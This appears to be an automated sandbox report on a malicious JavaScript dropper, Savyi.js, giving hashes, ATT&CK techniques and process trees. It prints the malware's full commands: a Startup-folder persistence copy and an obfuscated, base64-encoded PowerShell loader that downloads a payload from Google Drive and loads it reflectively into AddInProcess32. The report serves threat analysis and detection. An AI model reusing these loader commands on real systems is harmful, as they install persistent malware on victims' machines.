ff6e5b04064c63dd80619d02c242c856bbf4e1f94ab230ca74817c3aa471ece4 | Triage

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
31/10/2024, 17:05

Sharing

Report Analysis Logs

General

Target

Savyi.js
Size

60KB
MD5

caf142ae86793cd64c2947889f57ce28
SHA1

3c41375b1ee78c89b581b3d2a2aea42f895caab6
SHA256

ff6e5b04064c63dd80619d02c242c856bbf4e1f94ab230ca74817c3aa471ece4
SHA512

99eef70a65338f8147b9f5400ce3f49475140eb20d406c1cef0014abcd812ba0da5d94c5b61bd6deb0376ded7331fa1b4367283de86dd5f2edb7d215f4be6608
SSDEEP

1536:IHXpEjO9Xwq2Sk6e2Nhxdd5pdLv+lIXQXdE4QmuWOMP3HXpEjO9Xwq2Sk6e2Nhx6:IHXp+q62Nhxdd5pdq6k91HXp+q62Nhx6

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2856	powershell.exe
7	2856	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

PowerShell

pid	Process
2260	powershell.exe
2856	powershell.exe
2796	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.js	wscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.js	wscript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

flow	ioc
4	drive.google.com
5	drive.google.com

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

pid	Process
1908	cmd.exe
2628	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

pid	Process
2628	PING.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2796	powershell.exe
2260	powershell.exe
2856	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeDebugPrivilege	2260	powershell.exe
Token: SeDebugPrivilege	2856	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1956 wrote to memory of 1908	1956	wscript.exe	30
PID 1956 wrote to memory of 1908	1956	wscript.exe	30
PID 1956 wrote to memory of 1908	1956	wscript.exe	30
PID 1908 wrote to memory of 2628	1908	cmd.exe	32
PID 1908 wrote to memory of 2628	1908	cmd.exe	32
PID 1908 wrote to memory of 2628	1908	cmd.exe	32
PID 1908 wrote to memory of 2796	1908	cmd.exe	34
PID 1908 wrote to memory of 2796	1908	cmd.exe	34
PID 1908 wrote to memory of 2796	1908	cmd.exe	34
PID 1956 wrote to memory of 2260	1956	wscript.exe	35
PID 1956 wrote to memory of 2260	1956	wscript.exe	35
PID 1956 wrote to memory of 2260	1956	wscript.exe	35
PID 2260 wrote to memory of 2856	2260	powershell.exe	37
PID 2260 wrote to memory of 2856	2260	powershell.exe	37
PID 2260 wrote to memory of 2856	2260	powershell.exe	37

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Savyi.js
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:1956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Savyi.js', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sj.JJC.js')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1908
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Savyi.js', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sj.JJC.js')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JgAoACAAJABFAE4AVgA6AEMATwBNAHMAUABlAGMAWwA0ACwAMQA1ACwAMgA1AF0ALQBKAG8AaQBOACcAJwApACAAKAAgACgAKAAnADgATwBaAGkAbQBhAGcAZQBVAHIAbAAgAD0AIABOADYASQBoAHQAdABwAHMAOgAvAC8AZAByAGkAdgBlAC4AZwBvAG8AZwBsAGUALgBjAG8AbQAvAHUAYwA/AGUAeABwAG8AcgB0AD0AZABvAHcAbgBsAG8AYQBkACYAaQBkAD0AJwArACcAMQBBACcAKwAnAEkAVgBnAEoASgBKAHYAMQBGACcAKwAnADYAdgBTADQAcwBVAE8AeQBiAG4ASAAtAHMARAB2AFUAaABCAFkAdwB1AHIAIABOADYASQA7ADgATwBaAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjACcAKwAnAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlACcAKwAnAGIAQwBsAGkAZQBuAHQAOwA4AE8AWgBpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgADgATwBaAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAA4AE8AWgBpAG0AYQBnACcAKwAnAGUAVQByAGwAKQA7ADgATwBaAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQAnACsAJwBuACcAKwAnAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdAAnACsAJwBTACcAKwAnAHQAcgBpACcAKwAnAG4AJwArACcAZwAoADgATwBaAGkAbQBhAGcAZQBCACcAKwAnAHkAdABlAHMAKQA7ADgATwBaAHMAdABhAHIAdABGAGwAYQBnACAAPQAgAE4ANgBJADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4ATgA2AEkAOwAnACsAJwA4AE8AWgBlAG4AZABGAGwAJwArACcAYQBnACAAPQAgAE4ANgBJADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgBOADYASQA7ADgATwAnACsAJwBaAHMAdABhACcAKwAnAHIAdABJAG4AZABlAHgAIAA9ACAAOABPAFoAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAOABPAFoAcwB0AGEAcgB0AEYAbABhAGcAKQA7ADgATwBaAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAnACsAJwA4AE8AWgBpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAA4AE8AWgBlAG4AZABGAGwAYQBnACkAOwA4AE8AWgBzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgADgATwBaAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJwArACcAOAAnACsAJwBPAFoAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ADgATwBaAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AJwArACcAIAA4AE8AWgBzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAOABPAFoAYgBhAHMAZQA2ADQATAAnACsAJwBlAG4AZwB0AGgAIAA9ACAAJwArACcAOABPAFoAZQBuAGQASQBuAGQAZQB4ACAALQAgADgATwBaAHMAdABhAHIAdABJAG4AZABlAHgAJwArACcAOwA4AE8AWgBiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgADgATwBaAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0ACcAKwAnAHIAaQBuAGcAKAA4AE8AWgBzAHQAYQByAHQASQBuAGQAZQB4ACwAIAA4AE8AWgBiAGEAcwBlADYANABMAGUAbgBnAHQAJwArACcAaAApADsAOABPAFoAYgAnACsAJwBhAHMAZQA2ADQAUgBlAHYAZQByAHMAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAOABPAFoAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAAwAE4AUAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAA4AE8AWgBfACAAfQApAFsALQAxAC4ALgAtACgAOABPAFoAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuACcAKwAnAEwAZQBuAGcAdABoACkAXQA7ADgATwBaAGMAJwArACcAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAA4AE8AWgBiAGEAcwBlADYANABSAGUAdgBlAHIAcwBlAGQAKQA7ADgATwBaAGwAbwBhACcAKwAnAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdAAnACsAJwBpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAOABPAFoAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7ADgATwBaAHYAYQBpAE0AZQB0AGgAbwBkACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKABOADYASQBWAEEASQBOADYASQApADsAOABPAFoAdgBhAGkATQAnACsAJwBlAHQAaABvAGQALgBJAG4AdgBvAGsAZQAoADgATwBaAG4AdQBsAGwALAAgAEAAKABOADYASQAwAC8AZQB6AHEAVAA1AC8AZAAvAGUAZQAuACcAKwAnAGUAdABzAGEAcAAvAC8AOgBzAHAAdAB0AGgATgA2AEkALAAgAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALAAgAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALAAgAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALAAgAE4ANgBJAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzADMAMgBOADYASQAsACAATgA2AEkAZABlAHMAYQB0AGkAdgBhAGQAbwBOADYASQAnACsAJwAsACAATgAnACsAJwA2AEkAZABlAHMAYQB0AGkAdgBhAGQAbwBOADYASQAsAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkAJwArACcALABOADYASQBkAGUAcwBhAHQAaQB2AGEAZABvAE4ANgBJACwATgA2AEkAZABlAHMAYQB0AGkAdgBhAGQAbwBOADYASQAsAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALABOADYASQBkAGUAcwBhAHQAaQB2AGEAZABvAE4ANgBJACwATgA2AEkAMQBOADYAJwArACcASQAsAE4ANgBJACcAKwAnAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkAKQApADsAJwApACAALQByAGUAcABsAGEAYwBlACAAIAAnADgATwBaACcALABbAEMAaABhAHIAXQAzADYAIAAtAHIAZQBwAGwAYQBjAGUAIAAgACcAMABOAFAAJwAsAFsAQwBoAGEAcgBdADEAMgA0AC0AcgBlAHAAbABhAGMAZQAnAE4ANgBJACcALABbAEMAaABhAHIAXQAzADkAKQAgACkA';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $ENV:COMsPec[4,15,25]-JoiN'') ( (('8OZimageUrl = N6Ihttps://drive.google.com/uc?export=download&id='+'1A'+'IVgJJJv1F'+'6vS4sUOybnH-sDvUhBYwur N6I;8OZwebClient = New-Objec'+'t System.Net.We'+'bClient;8OZimageBytes = 8OZwebClient.DownloadData(8OZimag'+'eUrl);8OZimageText = [System.Text.E'+'n'+'coding]::UTF8.Get'+'S'+'tri'+'n'+'g(8OZimageB'+'ytes);8OZstartFlag = N6I<<BASE64_START>>N6I;'+'8OZendFl'+'ag = N6I<<BASE64_END>>N6I;8O'+'Zsta'+'rtIndex = 8OZimageText.IndexOf(8OZstartFlag);8OZendIndex = '+'8OZimageText.IndexOf(8OZendFlag);8OZstartIndex -ge 0 -and 8OZendIndex -gt '+'8'+'OZstartIndex;8OZstartIndex +='+' 8OZstartFlag.Length;8OZbase64L'+'ength = '+'8OZendIndex - 8OZstartIndex'+';8OZbase64Command = 8OZimageText.Subst'+'ring(8OZstartIndex, 8OZbase64Lengt'+'h);8OZb'+'ase64Reversed = -join (8OZbase64Command.ToCharArray() 0NP ForEach-Object { 8OZ_ })[-1..-(8OZbase64Command.'+'Length)];8OZc'+'ommandBytes = [System.Convert]::FromBase64String(8OZbase64Reversed);8OZloa'+'dedAssembly = [System.Reflect'+'ion.Assembly]::Load(8OZcommandBytes);8OZvaiMethod = [dnlib.IO.Home].GetMethod(N6IVAIN6I);8OZvaiM'+'ethod.Invoke(8OZnull, @(N6I0/ezqT5/d/ee.'+'etsap//:sptthN6I, N6IdesativadoN6I, N6IdesativadoN6I, N6IdesativadoN6I, N6IAddInProcess32N6I, N6IdesativadoN6I'+', N'+'6IdesativadoN6I,N6IdesativadoN6I'+',N6IdesativadoN6I,N6IdesativadoN6I,N6IdesativadoN6I,N6IdesativadoN6I,N6I1N6'+'I,N6I'+'desativadoN6I));') -replace '8OZ',[Char]36 -replace '0NP',[Char]124-replace'N6I',[Char]39) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

JavaScript

PowerShell

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

System Information Discovery

System Network Configuration Discovery

Internet Connection Discovery

Lateral Movement

Collection

Command and Control

Web Service

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
9af098ef2683b948539ffeae0d4213a8

SHA1
85bf8dc4b6b77947db79946a570b5d560630bf90

SHA256
0008902281145e7f2250b24acdfe7561da2fd96d5521b01ae64d6eb7937abe3e

SHA512
935afab9ce2a0a9a47a761a78d8181f969203ec3e4b23afeb9bf3b4b8bfc3d422cf9fefc38b51b62fbd2680ac81481189f22df398a4a9134c8d8b4fc4e80178f

Download Submit
memory/2260-18-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2260-19-0x00000000022B0000-0x00000000022B8000-memory.dmp

Filesize
32KB

Download
memory/2796-5-0x000007FEF55AE000-0x000007FEF55AF000-memory.dmp

Filesize
4KB

Download
memory/2796-8-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

Filesize
32KB

Download
memory/2796-7-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

Filesize
9.6MB

Download
memory/2796-6-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2796-10-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

Filesize
9.6MB

Download
memory/2796-9-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

Filesize
9.6MB

Download
memory/2796-11-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

Filesize
9.6MB

Download
memory/2796-12-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

Filesize
9.6MB

Download